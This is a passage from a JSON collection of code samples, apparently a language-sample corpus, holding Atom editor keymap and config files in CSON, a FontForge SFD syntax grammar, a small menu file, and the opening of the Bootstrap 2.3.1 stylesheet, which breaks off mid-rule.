    "content": "'atom-text-editor':\n  # Platform Bindings\n  'home': 'editor:move-to-first-character-of-line'\n  'end': 'editor:move-to-end-of-screen-line'\n  'shift-home': 'editor:select-to-first-character-of-line'\n  'shift-end': 'editor:select-to-end-of-line'\n\n'atom-text-editor:not([mini])':\n  # Atom Specific\n  'ctrl-C': 'editor:copy-path'\n\n  # Sublime Parity\n  'tab': 'editor:indent'\n  'enter': 'editor:newline'\n  'shift-tab': 'editor:outdent-selected-rows'\n  'ctrl-K': 'editor:delete-line'\n\n'.select-list atom-text-editor[mini]':\n  'enter': 'core:confirm'\n\n'.tool-panel.panel-left, .tool-panel.panel-right':\n  'escape': 'tool-panel:unfocus'\n\n'atom-text-editor !important, atom-text-editor[mini] !important':\n  'escape': 'editor:consolidate-selections'\n\n# allow standard input fields to work correctly\n'body .native-key-bindings':\n  'tab': 'core:focus-next'\n  'shift-tab': 'core:focus-previous'\n  'enter': 'native!'\n  'backspace': 'native!'\n  'shift-backspace': 'native!'\n  'delete': 'native!'\n  'up': 'native!'\n  'down': 'native!'\n  'shift-up': 'native!'\n  'shift-down': 'native!'\n  'alt-up': 'native!'\n  'alt-down': 'native!'\n  'alt-shift-up': 'native!'\n  'alt-shift-down': 'native!'\n  'cmd-up': 'native!'\n  'cmd-down': 'native!'\n  'cmd-shift-up': 'native!'\n  'cmd-shift-down': 'native!'\n  'ctrl-up': 'native!'\n  'ctrl-down': 'native!'\n  'ctrl-shift-up': 'native!'\n  'ctrl-shift-down': 'native!'\n  'left': 'native!'\n  'right': 'native!'\n  'shift-left': 'native!'\n  'shift-right': 'native!'\n  'alt-left': 'native!'\n  'alt-right': 'native!'\n  'alt-shift-left': 'native!'\n  'alt-shift-right': 'native!'\n  'cmd-left': 'native!'\n  'cmd-right': 'native!'\n  'cmd-shift-left': 'native!'\n  'cmd-shift-right': 'native!'\n  'ctrl-left': 'native!'\n  'ctrl-right': 'native!'\n  'ctrl-shift-left': 'native!'\n  'ctrl-shift-right': 'native!'\n  'ctrl-b': 'native!'\n  'ctrl-f': 'native!'\n  'ctrl-F': 'native!'\n  'ctrl-B': 'native!'\n  'ctrl-h': 'native!'\n  'ctrl-d': 'native!'\n"
  },
  {
    "path": "samples/CSON/config.cson",
    "content": "directoryIcons:\n\n\tAtom:\n\t\ticon: \"atom\"\n\t\tmatch: /^\\.atom$/\n\t\tcolour: \"dark-green\"\n\n\tBower:\n\t\ticon: \"bower\"\n\t\tmatch: /^bower[-_]components$/\n\t\tcolour: \"bower\"\n\n\tDropbox:\n\t\ticon: \"dropbox\"\n\t\tmatch: /^(?:Dropbox|\\.dropbox\\.cache)$/\n\t\tcolour: \"medium-blue\"\n\n\tGit:\n\t\ticon: \"git\"\n\t\tmatch: /^\\.git$/\n\n\tGitHub:\n\t\ticon: \"github\"\n\t\tmatch: /^\\.github$/\n\n\tMeteor:\n\t\ticon: \"meteor\"\n\t\tmatch: /^\\.meteor$/\n\n\tNodeJS:\n\t\ticon: \"node\"\n\t\tmatch: /^node_modules$/\n\t\tcolour: \"medium-green\"\n\n\tPackage:\n\t\ticon: \"package\"\n\t\tmatch: /^\\.bundle$/i\n\n\tTextMate:\n\t\ticon: \"textmate\"\n\t\tmatch: \".tmBundle\"\n\n\nfileIcons:\n\n\tABAP:\n\t\ticon: \"abap\"\n\t\tscope: \"abp\"\n\t\tmatch: \".abap\"\n\t\tcolour: \"medium-orange\"\n\n\tActionScript: # Or Flash-related\n\t\ticon: \"as\"\n\t\tmatch: [\n\t\t\t[\".swf\", \"medium-blue\"]\n\t\t\t[\".as\", \"medium-red\", scope: /\\.(?:flex-config|actionscript(?:\\.\\d+)?)$/i, alias: /ActionScript\\s?3|as3/i]\n\t\t\t[\".jsfl\", \"auto-yellow\"]\n\t\t\t[\".swc\", \"dark-red\"]\n\t\t]\n"
  },
  {
    "path": "samples/CSON/ff-sfd.cson",
    "content": "name: \"Spline Font Database\"\nscopeName: \"text.sfd\"\nfileTypes: [\"sfd\"]\nfirstLineMatch: \"^SplineFontDB: [\\\\d.]+\"\npatterns: [include: \"#main\"]\n\nrepository:\n\tmain:\n\t\tpatterns: [\n\t\t\t{include: \"#punctuation\"}\n\t\t\t{include: \"#private\"}\n\t\t\t{include: \"#image\"}\n\t\t\t{include: \"#pickleData\"}\n\t\t\t{include: \"#sections\"}\n\t\t\t{include: \"#copyright\"}\n\t\t\t{include: \"#property\"}\n\t\t\t{include: \"#control\"}\n\t\t\t{include: \"#address\"}\n\t\t\t{include: \"#encoding\"}\n\t\t\t{include: \"source.fontforge#shared\"}\n\t\t\t{include: \"#colour\"}\n\t\t]\n\t\n\tpunctuation:\n\t\tpatterns: [\n\t\t\t{match: \"<|>\",  name: \"punctuation.definition.brackets.angle.sfd\"}\n\t\t\t{match: \"[{}]\", name: \"punctuation.definition.brackets.curly.sfd\"}\n\t\t]\n\n\tprivate:\n\t\tname: \"meta.section.private.sfd\"\n\t\tbegin: \"^BeginPrivate(?=:)\"\n\t\tend:   \"^EndPrivate\\\\b\"\n\t\tbeginCaptures: 0: name: \"keyword.control.begin.private.sfd\"\n\t\tendCaptures:   0: name: \"keyword.control.end.private.sfd\"\n\t\tpatterns: [\n\t\t\t{match: \"^\\\\S+\", name: \"entity.name.private.property.sfd\"}\n\t\t\t{include: \"$self\"}\n\t\t]\n\t\n\timage:\n\t\tname: \"meta.image.sfd\"\n\t\tbegin: \"^(Image)(?=:)(.+)$\"\n\t\tend:   \"^(EndImage)\\\\b\"\n\t\tcontentName: \"string.unquoted.raw.data.sfd\"\n\t\tbeginCaptures:\n\t\t\t1: name: \"keyword.control.begin.image.sfd\"\n\t\t\t2: patterns: [include: \"$self\"]\n\t\tendCaptures:\n\t\t\t1: name: \"keyword.control.end.image.sfd\"\n\n\tpickleData:\n\t\tname: \"meta.pickle-data.sfd\"\n\t\tbegin: \"^(PickledData)(:)\\\\s*(\\\")\"\n\t\tend:   '\"'\n\t\tbeginCaptures:\n\t\t\t1: name: \"entity.name.property.sfd\"\n\t\t\t2: name: \"punctuation.separator.dictionary.key-value.sfd\"\n\t\t\t3: name: \"punctuation.definition.string.begin.sfd\"\n\t\tendCaptures:\n\t\t\t0: name: \"punctuation.definition.string.end.sfd\"\n\t\tpatterns: [match: \"\\\\\\\\.\", name: \"constant.character.escape.sfd\"]\n\n\tsections:\n\t\tname: \"meta.section.${2:/downcase}.sfd\"\n\t\tbegin: \"^(Start|Begin)([A-Z]\\\\w+)(?=:)\"\n\t\tend:   \"^(End\\\\2)\\\\b\"\n\t\tbeginCaptures: 0: name: \"keyword.control.begin.${2:/downcase}.sfd\"\n\t\tendCaptures:   0: name: \"keyword.control.end.${2:/downcase}.sfd\"\n\t\tpatterns: [include: \"$self\"]\n\n\tcontrol:\n\t\tname: \"keyword.control.${1:/downcase}.sfd\"\n\t\tmatch: \"\\\\b(Fore|Back|SplineSet|^End\\\\w+)\\\\b\"\n\n\tcolour:\n\t\tname: \"constant.other.hex.colour.sfd\"\n\t\tmatch: \"(#)[A-Fa-f0-9]{3,}|(?<=\\\\s)[A-Fa-f0-9]{6,8}\"\n\t\tcaptures:\n\t\t\t1: name: \"punctuation.definition.colour.sfd\"\n\n\tencoding:\n\t\tname: \"constant.language.encoding.sfd\"\n\t\tmatch: \"(?i)\\\\b(ISO[-\\\\w]+)(?<=\\\\d)(?=\\\\s|$)\"\n\n\t# Don't highlight numbers in freeform strings (years/version strings)\n\tcopyright:\n\t\tname: \"meta.${1:/downcase}-string.sfd\"\n\t\tbegin: \"^(Copyright|U?Comments?|\\\\w+Name)(:)\"\n\t\tend:   \"$\"\n\t\tbeginCaptures:\n\t\t\t1: name: \"entity.name.property.sfd\"\n\t\t\t2: name: \"punctuation.separator.dictionary.key-value.sfd\"\n\t\tpatterns: [include: \"source.fontforge#stringEscapes\"]\n\t\n\t# No idea what this is, but it looks distracting without a fix\n\t# Assuming it's referring to a memory register or something.\n\taddress:\n\t\tmatch: \"\\\\d+[xX][A-Fa-f0-9]+\"\n\t\tname: \"constant.numeric.hexadecimal.sfd\"\n\t\n\tproperty:\n\t\tmatch: \"^([^:]+)(:)\"\n\t\tname: \"meta.dictionary.key-value.sfd\"\n\t\tcaptures:\n\t\t\t1: name: \"entity.name.property.sfd\"\n\t\t\t2: name: \"punctuation.separator.dictionary.key-value.sfd\"\n\t\n"
  },
  {
    "path": "samples/CSON/wercker-status.cson",
    "content": "'menu': [\n  {\n    'label': 'Packages'\n    'submenu': [\n      'label': 'Wercker Status'\n      'submenu': [\n        { 'label': 'Check now!', 'command': 'wercker-status:checknow' }\n      ]\n    ]\n  }\n]\n"
  },
  {
    "path": "samples/CSS/bootstrap.css",
    "content": "/*!\n * Bootstrap v2.3.1\n *\n * Copyright 2012 Twitter, Inc\n * Licensed under the Apache License v2.0\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Designed and built with all the love in the world @twitter by @mdo and @fat.\n */\n.clearfix {\n  *zoom: 1;\n}\n.clearfix:before,\n.clearfix:after {\n  display: table;\n  content: \"\";\n  line-height: 0;\n}\n.clearfix:after {\n  clear: both;\n}\n.hide-text {\n  font: 0/0 a;\n  color: transparent;\n  text-shadow: none;\n  background-color: transparent;\n  border: 0;\n}\n.input-block-level {\n  display: block;\n  width: 100%;\n  min-height: 30px;\n  -webkit-box-sizing: border-box;\n  -moz-box-sizing: border-box;\n  box-sizing: border-box;\n}\narticle,\naside,\ndetails,\nfigcaption,\nfigure,\nfooter,\nheader,\nhgroup,\nnav,\nsection {\n  display: block;\n}\naudio,\ncanvas,\nvideo {\n  display: inline-block;\n  *display: inline;\n  *zoom: 1;\n}\naudio:not([controls]) {\n  display: none;\n}\nhtml {\n  font-size: 100%;\n  -webkit-text-size-adjust: 100%;\n  -ms-text-size-adjust: 100%;\n}\na:focus {\n  outline: thin dotted #333;\n  outline: 5px auto -webkit-focus-ring-color;\n  outline-offset: -2px;\n}\na:hover,\na:active {\n  outline: 0;\n}\nsub,\nsup {\n  position: relative;\n  font-size: 75%;\n  line-height: 0;\n  vertical-align: baseline;\n}\nsup {\n  top: -0.5em;\n}\nsub {\n  bottom: -0.25em;\n}\nimg {\n  /* Responsive images (ensure images don't scale beyond their parents) */\n\n  max-width: 100%;\n  /* Part 1: Set a maxium relative to the parent */\n\n  width: auto\\9;\n  /* IE7-8 need help adjusting responsive images */\n\n  height: auto;\n  /* Part 2: Scale the height according to the width, otherwise you get stretching */\n\n  vertical-align: middle;\n  border: 0;\n  -ms-interpolation-mode: bicubic;\n}\n#map_canvas img,\n.google-maps img {\n  max-width: none;\n}\nbutton,\ninput,\nselect,\ntextarea {\n  margin: 0;\n  font-size: 100%;\n  vertical-align: middle;\n}\nbutton,\ninput {\n  *overflow: visible;\n  line-height: normal;\n}\nbutton::-moz-focus-inner,\ninput::-moz-focus-inner {\n  padding: 0;\n  border: 0;\n}\nbutton,\nhtml input[type=\"button\"],\ninput[type=\"reset\"],\ninput[type=\"submit\"] {\n  -webkit-appearance: button;\n  cursor: pointer;\n}\nlabel,\nselect,\nbutton,\ninput[type=\"button\"],\ninput[type=\"reset\"],\ninput[type=\"submit\"],\ninput[type=\"radio\"],\ninput[type=\"checkbox\"] {\n  cursor: pointer;\n}\ninput[type=\"search\"] {\n  -webkit-box-sizing: content-box;\n  -moz-box-sizing: content-box;\n  box-sizing: content-box;\n  -webkit-appearance: textfield;\n}\ninput[type=\"search\"]::-webkit-search-decoration,\ninput[type=\"search\"]::-webkit-search-cancel-button {\n  -webkit-appearance: none;\n}\ntextarea {\n  overflow: auto;\n  vertical-align: top;\n}\n@media print {\n  * {\n    text-shadow: none !important;\n    color: #000 !important;\n    background: transparent !important;\n    box-shadow: none !important;\n  }\n  a,\n  a:visited {\n    text-decoration: underline;\n  }\n  a[href]:after {\n    content: \" (\" attr(href) \")\";\n  }\n  abbr[title]:after {\n    content: \" (\" attr(title) \")\";\n  }\n  .ir a:after,\n  a[href^=\"javascript:\"]:after,\n  a[href^=\"#\"]:after {\n    content: \"\";\n  }\n  pre,\n  blockquote {\n    border: 1px solid #999;\n    page-break-inside: avoid;\n  }\n  thead {\n    display: table-header-group;\n  }\n  tr,\n  img {\n    page-break-inside: avoid;\n  }\n  img {\n    max-width: 100% !important;\n  }\n  @page  {\n    margin: 0.5cm;\n  }\n  p,\n  h2,\n  h3 {\n    orphans: 3;\n    widows: 3;\n  }\n  h2,\n  h3 {\n    page-break-after: avoid;\n  }\n}\nbody {\n  margin: 0;\n  font-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n  font-size: 14px;\n  line-height: 20px;\n  color: #333333;\n  background-color: #ffffff;\n}\na {\n  color: #0088cc;\n  text-decoration: none;\n}\na:hover,\na:focus {\n  color: #005580;\n  text-decoration: underline;\n}\n.img-rounded {\n  -webkit-border-radius: 6px;\n  -moz-border-radius: 6px;\n  border-radius: 6px;\n}\n.img-polaroid {\n  padding: 4px;\n  background-color: #fff;\n  border: 1px solid #ccc;\n  border: 1px solid rgba(0, 0, 0, 0.2);\n  -webkit-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1);\n  -moz-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1);\n  box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1);\n}\n.img-circle {\n  -webkit-border-radius: 500px;\n  -moz-border-radius: 500px;\n  border-radius: 500px;\n}\n.row {\n  margin-left: -20px;\n  *zoom: 1;\n}\n.row:before,\n.row:after {\n  display: table;\n  content: \"\";\n  line-height: 0;\n}\n.row:after {\n  clear: both;\n}\n[class*=\"span\"] {\n  float: left;\n  min-height: 1px;\n  margin-left: 20px;\n}\n.container,\n.navbar-static-top .container,\n.navbar-fixed-top .container,\n.navbar-fixed-bottom .container {\n  width: 940px;\n}\n.span12 {\n  width: 940px;\n}\n.span11 {\n  width: 860px;\n}\n.span10 {\n  width: 780px;\n}\n.span9 {\n  width: 700px;\n}\n.span8 {\n  width: 620px;\n}\n.span7 {\n  width: 540px;\n}\n.span6 {\n  width: 460px;\n}\n.span5 {\n  width: 380px;\n}\n.span4 {\n  width: 300px;\n}\n.span3 {\n  width: 220px;\n}\n.span2 {\n  width: 140px;\n}\n.span1 {\n  width: 60px;\n}\n.offset12 {\n  margin-left: 980px;\n}\n.offset11 {\n  margin-left: 900px;\n}\n.offset10 {\n  margin-left: 820px;\n}\n.offset9 {\n  margin-left: 740px;\n}\n.offset8 {\n  margin-left: 660px;\n}\n.offset7 {\n  margin-left: 580px;\n}\n.offset6 {\n  margin-left: 500px;\n}\n.offset5 {\n  margin-left: 420px;\n}\n.offset4 {\n  margin-left: 340px;\n}\n.offset3 {\n  margin-left: 260px;\n}\n.offset2 {\n  margin-left: 180px;\n}\n.offset1 {\n  margin-left: 100px;\n}\n.row-fluid {\n  width: 100%;\n  *zoom: 1;\n}\n.row-fluid:before,\n.row-fluid:after {\n  display: table;\n  content: \"\";\n  line-height: 0;\n}\n.row-fluid:after {\n  clear: both;\n}\n.row-fluid [class*=\"span\"] {\n  display: block;\n  width: 100%;\n  min-height: 30px;\n  -webkit-box-sizing: border-box;\n  -moz-box-sizing: border-box;\n  box-sizing: border-box;\n  float: left;\n  margin-left: 2.127659574468085%;\n  *margin-left: 2.074468085106383%;\n}\n.row-fluid [class*=\"span\"]:first-child {\n  margin-left: 0;\n}\n.row-fluid .controls-row [class*=\"span\"] + [class*=\"span\"] {\n  margin-left: 2.127659574468085%;\n}\n.row-fluid .span12 {\n  width: 100%;\n  *width: 99.94680851063829%;\n}\n.row-fluid .span11 {\n  width: 91.48936170212765%;\n  *width: 91.43617021276594%;\n}\n.row-fluid .span10 {\n  width: 82.97872340425532%;\n  *width: 82.92553191489361%;\n}\n.row-fluid .span9 {\n  width: 74.46808510638297%;\n  *width: 74.41489361702126%;\n}\n.row-fluid .span8 {\n  width: 65.95744680851064%;\n  *width: 65.90425531914893%;\n}\n.row-fluid .span7 {\n  width: 57.44680851063829%;\n  *width: 57.39361702127659%;\n}\n.row-fluid .span6 {\n  width: 48.93617021276595%;\n  *width: 48.88297872340425%;\n}\n.row-fluid .span5 {\n  width: 40.42553191489362%;\n  *width: 40.37234042553192%;\n}\n.row-fluid .span4 {\n  width: 31.914893617021278%;\n  *width: 31.861702127659576%;\n}\n.row-fluid .span3 {\n  width: 23.404255319148934%;\n  *width: 23.351063829787233%;\n}\n.row-fluid .span2 {\n  width: 14.893617021276595%;\n  *width: 14.840425531914894%;\n}\n.row-fluid .span1 {\n  width: 6.382978723404255%;\n  *width: 6.329787234042553%;\n}\n.row-fluid .offset12 {\n  margin-left: 104.25531914893617%;\n  *margin-left: 104.14893617021275%;\n}\n.row-fluid .offset12:first-child {\n  margin-left: 102.12765957446808%;\n  *margin-left: 102.02127659574467%;\n}\n.row-fluid .offset11 {\n  margin-left: 95.74468085106382%;\n  *margin-left: 95.6382978723404%;\n}\n.row-fluid .offset11:first-child {\n  margin-left: 93.61702127659574%;\n  *margin-left: 93.51063829787232%;\n}\n.row-fluid .offset10 {\n  margin-left: 87.23404255319149%;\n  *margin-left: 87.12765957446807%;\n}\n.row-fluid .offset10:first-child {\n  margin-left: 85.1063829787234%;\n  *margin-left: 84.99999999999999%;\n}\n.row-fluid .offset9 {\n  margin-left: 78.72340425531914%;\n  *margin-left: 78.61702127659572%;\n}\n.row-fluid .offset9:first-child {\n  margin-left: 76.59574468085106%;\n  *margin-left: 76.48936170212764%;\n}\n.row-fluid .offset8 {\n  margin-left: 70.2127659574468%;\n  *margin-left: 70.10638297872339%;\n}\n.row-fluid .offset8:first-child {\n  margin-left: 68.08510638297872%;\n  *margin-left: 67.9787234042553%;\n}\n.row-fluid .offset7 {\n  margin-left: 61.70212765957446%;\n  *margin-left: 61.59574468085106%;\n}\n.row-fluid .offset7:first-child {\n  margin-left: 59.574468085106375%;\n  *margin-left: 59.46808510638297%;\n}\n.row-fluid .offset6 {\n  margin-left: 53.191489361702125%;\n  *margin-left: 53.085106382978715%;\n}\n.row-fluid .offset6:first-child {\n  margin-left: 51.063829787234035%;\n  *margin-left: 50.95744680851063%;\n}\n.row-fluid .offset5 {\n  margin-left: 44.68085106382979%;\n  *margin-left: 44.57446808510638%;\n}\n.row-fluid .offset5:first-child {\n  margin-left: 42.5531914893617%;\n  *margin-left: 42.4468085106383%;\n}\n.row-fluid .offset4 {\n  margin-left: 36.170212765957444%;\n  *margin-left: 36.06382978723405%;\n}\n.row-fluid .offset4:first-child {\n  margin-left: 34.04255319148936%;\n  *margin-left: 33.93617021276596%;\n}\n.row-fluid .offset3 {\n  margin-left: 27.659574468085104%;\n  *margin-left: 27.5531914893617%;\n}\n.row-fluid .offset3:first-child {\n  margin-left: 25.53191489361702%;\n  *margin-left: 25.425531914893618%;\n}\n.row-fluid .offset2 {\n  margin-left: 19.148936170212764%;\n  *margin-left: 19.04255319148936%;\n}\n.row-fluid .offset2:first-child {\n  margin-left: 17.02127659574468%;\n  *margin-left: 16.914893617021278%;\n}\n.row-fluid .offset1 {\n  margin-left: 10.638297872340425%;\n  *margin-left: 10.53191489361702%;\n}\n.row-fluid .offset1:first-child {\n  margin-left: 8.51063829787234%;\n  *margin-left: 8.404255319148938%;\n}\n[class*=\"span\"].hide,\n.row-fluid [class*=\"span\"].hide {\n  display: none;\n}\n[class*=\"span\"].pull-right,\n.row-fluid [class*=\"span\"].pull-right {\n  float: right;\n}\n.container {\n  margin-right: auto;\n  margin-left: auto;\n  *zoom: 1;\n}\n.container:before,\n.container:after {\n  display: table;\n  content: \"\";\n  line-height: 0;\n}\n.container:after {\n  clear: both;\n}\n.container-fluid {\n  padding-right: 20px;\n  padding-left: 20px;\n  *zoom: 1;\n}\n.container-fluid:before,\n.container-fluid:after {\n  display: table;\n  content: \"\";\n  line-height: 0;\n}\n.container-fluid:after {\n  clear: both;\n}\np {\n  margin: 0 0 10px;\n}\n.lead {\n  margin-bottom: 20px;\n  font-size: 21px;\n  font-weight: 200;\n  line-height: 30px;\n}\nsmall {\n  font-size: 85%;\n}\nstrong {\n  font-weight: bold;\n}\nem {\n  font-style: italic;\n}\ncite {\n  font-style: normal;\n}\n.muted {\n  color: #999999;\n}\na.muted:hover,\na.muted:focus {\n  color: #808080;\n}\n.text-warning {\n  color: #c09853;\n}\na.text-warning:hover,\na.text-warning:focus {\n  color: #a47e3c;\n}\n.text-error {\n  color: #b94a48;\n}\na.text-error:hover,\na.text-error:focus {\n  color: #953b39;\n}\n.text-info {\n  color: #3a87ad;\n}\na.text-info:hover,\na.text-info:focus {\n  color: #2d6987;\n}\n.text-success {\n  color: #468847;\n}\na.text-success:hover,\na.text-success:focus {\n  color: #356635;\n}\n.text-left {\n  text-align: left;\n}\n.text-right {\n  text-align: right;\n}\n.text-center {\n  text-align: center;\n}\nh1,\nh2,\nh3,\nh4,\nh5,\nh6 {\n  margin: 10px 0;\n  font-family: inherit;\n  font-weight: bold;\n  line-height: 20px;\n  color: inherit;\n  text-rendering: optimizelegibility;\n}\nh1 small,\nh2 small,\nh3 small,\nh4 small,\nh5 small,\nh6 small {\n  font-weight: normal;\n  line-height: 1;\n  color: #999999;\n}\nh1,\nh2,\nh3 {\n  line-height: 40px;\n}\nh1 {\n  font-size: 38.5px;\n}\nh2 {\n  font-size: 31.5px;\n}\nh3 {\n  font-size: 24.5px;\n}\nh4 {\n  font-size: 17.5px;\n}\nh5 {\n  font-size: 14px;\n}\nh6 {\n  font-size: 11.9px;\n}\nh1 small {\n  font-size: 24.5px;\n}\nh2 small {\n  font-size: 17.5px;\n}\nh3 small {\n  font-size: 14px;\n}\nh4 small {\n  font-size: 14px;\n}\n.page-header {\n  padding-bottom: 9px;\n  margin: 20px 0 30px;\n  border-bottom: 1px solid #eeeeee;\n}\nul,\nol {\n  padding: 0;\n  margin: 0 0 10px 25px;\n}\nul ul,\nul ol,\nol ol,\nol ul {\n  margin-bottom: 0;\n}\nli {\n  line-height: 20px;\n}\nul.unstyled,\nol.unstyled {\n  margin-left: 0;\n  list-style: none;\n}\nul.inline,\nol.inline {\n  margin-left: 0;\n  list-style: none;\n}\nul.inline > li,\nol.inline > li {\n  display: inline-block;\n  *display: inline;\n  /* IE7 inline-block hack */\n\n  *zoom: 1;\n  padding-left: 5px;\n  padding-right: 5px;\n}\ndl {\n  margin-bottom: 20px;\n}\ndt,\ndd {\n  line-height: 20px;\n}\ndt {\n  font-weight: bold;\n}\ndd {\n  margin-left: 10px;\n}\n.dl-horizontal {\n  *zoom: 1;\n}\n.dl-horizontal:before,\n.dl-horizontal:after {\n  display: table;\n  content: \"\";\n  line-height: 0;\n}\n.dl-horizontal:after {\n  clear: both;\n}\n.dl-horizontal dt {\n  float: left;\n  width: 160px;\n  clear: left;\n  text-align: right;\n  overflow: hidden;\n  text-overflow: ellipsis;\n  white-space: nowrap;\n}\n.dl-horizontal dd {\n  margin-left: 180px;\n}\nhr {\n  margin: 20px 0;\n  border: 0;\n  border-top: 1px solid #eeeeee;\n  border-bottom: 1px solid #ffffff;\n}\nabbr[title],\nabbr[data-original-title] {\n  cursor: help;\n  border-bottom: 1px dotted #999999;\n}\nabbr.initialism {\n  font-size: 90%;\n  text-transform: uppercase;\n}\nblockquote {\n  padding: 0 0 0 15px;\n  margin: 0 0 20px;\n  border-left: 5px solid #eeeeee;\n}\nblockquote p {\n  margin-bottom: 0;\n  font-size: 17.5px;\n  font-weight: 300;\n  line-height: 1.25;\n}\nblockquote small {\n  display: block;\n  line-height: 20px;\n  color: #999999;\n}\nblockquote small:before {\n  content: '\\2014 \\00A0';\n}\nblockquote.pull-right {\n  float: right;\n  padding-right: 15px;\n  padding-left: 0;\n  border-right: 5px solid #eeeeee;\n  border-left: 0;\n}\nblockquote.pull-right p,\nblockquote.pull-right small {\n  text-align: right;\n}\nblockquote.pull-right small:before {\n  content: '';\n}\nblockquote.pull-right small:after {\n  content: '\\00A0 \\2014';\n}\nq:before,\nq:after,\nblockquote:before,\nblockquote:after {\n  content: \"\";\n}\naddress {\n  display: block;\n  margin-bottom: 20px;\n  font-style: normal;\n  line-height: 20px;\n}\ncode,\npre {\n  padding: 0 3px 2px;\n  font-family: Monaco, Menlo, Consolas, \"Courier New\", monospace;\n  font-size: 12px;\n  color: #333333;\n  -webkit-border-radius: 3px;\n  -moz-border-radius: 3px;\n  border-radius: 3px;\n}\ncode {\n  padding: 2px 4px;\n  color: #d14;\n  background-color: #f7f7f9;\n  border: 1px solid #e1e1e8;\n  white-space: nowrap;\n}\npre {\n  display: block;\n  padding: 9.5px;\n  margin: 0 0 10px;\n  font-size: 13px;\n  line-height: 20px;\n  word-break: break-all;\n  word-wrap: break-word;\n  white-space: pre;\n  white-space: pre-wrap;\n  background-color: #f5f5f5;\n  border: 1px solid #ccc;\n  border: 1px solid rgba(0, 0, 0, 0.15);\n  -webkit-border-radius: 4px;\n  -moz-border-radius: 4px;\n  border-radius: 4px;\n}\npre.prettyprint {\n  margin-bottom: 20px;\n}\npre code {\n  padding: 0;\n  color: inherit;\n  white-space: pre;\n  white-space: pre-wrap;\n  background-color: transparent;\n  border: 0;\n}\n.pre-scrollable {\n  max-height: 340px;\n  overflow-y: scroll;\n}\n.label,\n.badge {\n  display: inline-block;\n  padding: 2px 4px;\n  font-size: 11.844px;\n  font-weight: bold;\n  line-height: 14px;\n  color: #ffffff;\n  vertical-align: baseline;\n  white-space: nowrap;\n  text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);\n  background-color: #999999;\n}\n.label {\n  -webkit-border-radius: 3px;\n  -moz-border-radius: 3px;\n  border-radius: 3px;\n}\n.badge {\n  padding-left: 9px;\n  padding-right: 9px;\n  -webkit-border-radius: 9px;\n  -moz-border-radius: 9px;\n  border-radius: 9px;\n}\n.label:empty,\n.badge:empty {\n  display: none;\n}\na.label:hover,\na.label:focus,\na.badge:hover,\na.badge:focus {\n  color: #ffffff;\n  text-decoration: none;\n  cursor: pointer;\n}\n.label-important,\n.badge-important {\n  background-color: #b94a48;\n}\n.label-important[href],\n.badge-important[href] {\n  background-color: #953b39;\n}\n.label-warning,\n.badge-warning {\n  background-color: #f89406;\n}\n.label-warning[href],\n.badge-warning[href] {\n  background-color: #c67605;\n}\n.label-success,\n.badge-success {\n  background-color: #468847;\n}\n.label-success[href],\n.badge-success[href] {\n  background-color: #356635;\n}\n.label-info,\n.badge-info {\n  background-color: #3a87ad;\n}\n.label-info[href],\n.badge-info[href] {\n  background-color: #2d6987;\n}\n.label-inverse,\n.badge-inverse {\n  background-color: #333333;\n}\n.label-inverse[href],\n.badge-inverse[href] {\n  background-color: #1a1a1a;\n}\n.btn .label,\n.btn .badge {\n  position: relative;\n  top: -1px;\n}\n.btn-mini .label,\n.btn-mini .badge {\n  top: 0;\n}\ntable {\n  max-width: 100%;\n  background-color: transparent;\n  border-collapse: collapse;\n  border-spacing: 0;\n}\n.table {\n  width: 100%;\n  margin-bottom: 20px;\n}\n.table th,\n.table td {\n  padding: 8px;\n  line-height: 20px;\n  text-align: left;\n  vertical-align: top;\n  border-top: 1px solid #dddddd;\n}\n.table th {\n  font-weight: bold;\n}\n.table thead th {\n  vertical-align: bottom;\n}\n.table caption + thead tr:first-child th,\n.table caption + thead tr:first-child td,\n.table colgroup + thead tr:first-child th,\n.table colgroup + thead tr:first-child td,\n.table thead:first-child tr:first-child th,\n.table thead:first-child tr:first-child td {\n  border-top: 0;\n}\n.table tbody + tbody {\n  border-top: 2px solid #dddddd;\n}\n.table .table {\n  background-color: #ffffff;\n}\n.table-condensed th,\n.table-condensed td {\n  padding: 4px 5px;\n}\n.table-bordered {\n  border: 1px solid #dddddd;\n  border-collapse: separate;\n  *border-collapse: collapse;\n  border-left: 0;\n  -webkit-border-radius: 4px;\n  -moz-border-radius: 4px;\n  border-radius: 4px;\n}\n.table-bordered th,\n.table-bordered td {\n  border-left: 1px solid #dddddd;\n}\n.table-bordered caption + thead tr:first-child th,\n.table-bordered caption + tbody tr:first-child th,\n.table-bordered caption + tbody tr:first-child td,\n.table-bordered colgroup + thead tr:first-child th,\n.table-bordered colgroup + tbody tr:first-child th,\n.table-bordered colgroup + tbody tr:first-child td,\n.table-bordered thead:first-child tr:first-child th,\n.table-bordered tbody:first-child tr:first-child th,\n.table-bordered tbody:first-child tr:first-child td {\n  border-top: 0;\n}\n.table-bordered thead:first-child tr:first-child > th:first-child,\n.table-bordered tbody:first-child tr:first-child > td:first-child,\n.table-bordered tbody:first-child tr:first-child > th:first-child {\n  -webkit-border-top-left-radius: 4px;\n  -moz-border-radius-topleft: 4px;\n  border-top-left-radius: 4px;\n}\n.table-bordered thead:first-child tr:first-child > th:last-child,\n.table-bordered tbody:first-child tr:first-child > td:last-child,\n.table-bordered tbody:first-child tr:first-child > th:last-child {\n  -webkit-border-top-right-radius: 4px;\n  -moz-border-radius-topright: 4px;\n  border-top-right-radius: 4px;\n}\n.table-bordered thead:last-child tr:last-child > th:first-child,\n.table-bordered tbody:last-child tr:last-child > td:first-child,\n.table-bordered tbody:last-child tr:last-child > th:first-child,\n.table-bordered tfoot:last-child tr:last-child > td:first-child,\n.table-bordered tfoot:last-child tr:last-child > th:first-child {\n  -webkit-border-bottom-left-radius: 4px;\n  -moz-border-radius-bottomleft: 4px;\n  border-bottom-left-radius: 4px;\n}\n.table-bordered thead:last-child tr:last-child > th:last-child,\n.table-bordered tbody:last-child tr:last-child > td:last-child,\n.table-bordered tbody:last-child tr:last-child > th:last-child,\n.table-bordered tfoot:last-child tr:last-child > td:last-child,\n.table-bordered tfoot:last-child tr:last-child > th:last-child {\n  -webkit-border-bottom-right-radius: 4px;\n  -moz-border-radius-bottomright: 4px;\n  border-bottom-right-radius: 4px;\n}\n.table-bordered tfoot + tbody:last-child tr:last-child td:first-child {\n  